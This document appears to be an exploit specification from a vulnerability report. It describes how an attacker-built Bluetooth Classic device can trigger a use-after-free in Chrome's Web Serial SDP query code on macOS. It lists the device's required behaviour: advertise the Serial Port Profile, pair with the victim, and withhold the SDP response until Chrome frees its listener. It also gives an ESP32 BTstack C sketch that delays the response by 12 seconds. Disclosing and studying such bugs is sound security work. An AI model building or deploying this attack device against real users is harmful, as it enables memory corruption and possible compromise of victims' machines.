# Malicious Bluetooth Classic Device Specification

The UAF requires an attacker-controlled BR/EDR (Bluetooth Classic) device paired
with the victim Mac. Any programmable BT controller works (e.g. an ESP32 running
a custom BTstack build, a Linux box with BlueZ + `sdptool` patched, or an
nRF52 with Zephyr's classic stack).

## Required behaviour

1. **Advertise SPP.** Expose Service Class UUID `0x1101` (Serial Port Profile)
   in the EIR/SDP record so the device appears in Chrome's Web Serial chooser
   when the page filters on `bluetoothServiceClassId:
   '00001101-0000-1000-8000-00805f9b34fb'`.

2. **Pair with the victim Mac** (one-time, standard SSP pairing).

3. **Accept the inbound L2CAP connection on PSM 0x0001 (SDP)** when Chrome's
   `performSDPQuery:` runs, and accept the `SDP_ServiceSearchAttributeRequest`
   PDU.

4. **Withhold the `SDP_ServiceSearchAttributeResponse` for >10 seconds.**
   Do **not** drop the L2CAP channel — keep it open and silent so that macOS
   IOBluetooth keeps the query pending and does not synchronously fail it.
   This causes `BluetoothSocketMac::OnSDPQueryTimeout()` to fire on the Chrome
   UI thread at T+10 s, which sets `sdp_query_listener_ = nil` and frees the
   `SDPQueryListener` Objective-C object.

5. **At T+10 s < t < IOBluetooth's internal SDP timeout** (typically ~30 s on
   macOS), send the delayed `SDP_ServiceSearchAttributeResponse`. IOBluetooth
   receives it and dispatches
   `objc_msgSend(dangling_target, @selector(sdpQueryComplete:status:), ...)`
   on the main run loop, where `dangling_target` is the freed
   `SDPQueryListener`.

## Minimal BTstack sketch (ESP32)

```c
// In sdp_server.c, intercept incoming SDP PDU on PSM 0x0001:
static btstack_timer_source_t delay_timer;
static uint16_t saved_cid; static uint8_t saved_tid_hi, saved_tid_lo;

static void delayed_sdp_response(btstack_timer_source_t *ts) {
    // Send a normal ServiceSearchAttributeResponse for SPP after the delay.
    sdp_server_send_service_search_attribute_response(saved_cid,
        saved_tid_hi, saved_tid_lo, /*...normal SPP record...*/);
}

case SDP_ServiceSearchAttributeRequest:
    saved_cid = l2cap_cid;
    saved_tid_hi = packet[1]; saved_tid_lo = packet[2];
    // Hold the response for 12 s — past Chrome's 10 s kSDPQueryTimeoutInterval
    // but before macOS IOBluetooth's own ~30 s SDP timeout.
    btstack_run_loop_set_timer(&delay_timer, 12000);
    btstack_run_loop_set_timer_handler(&delay_timer, delayed_sdp_response);
    btstack_run_loop_add_timer(&delay_timer);
    return;  // do NOT respond now
```
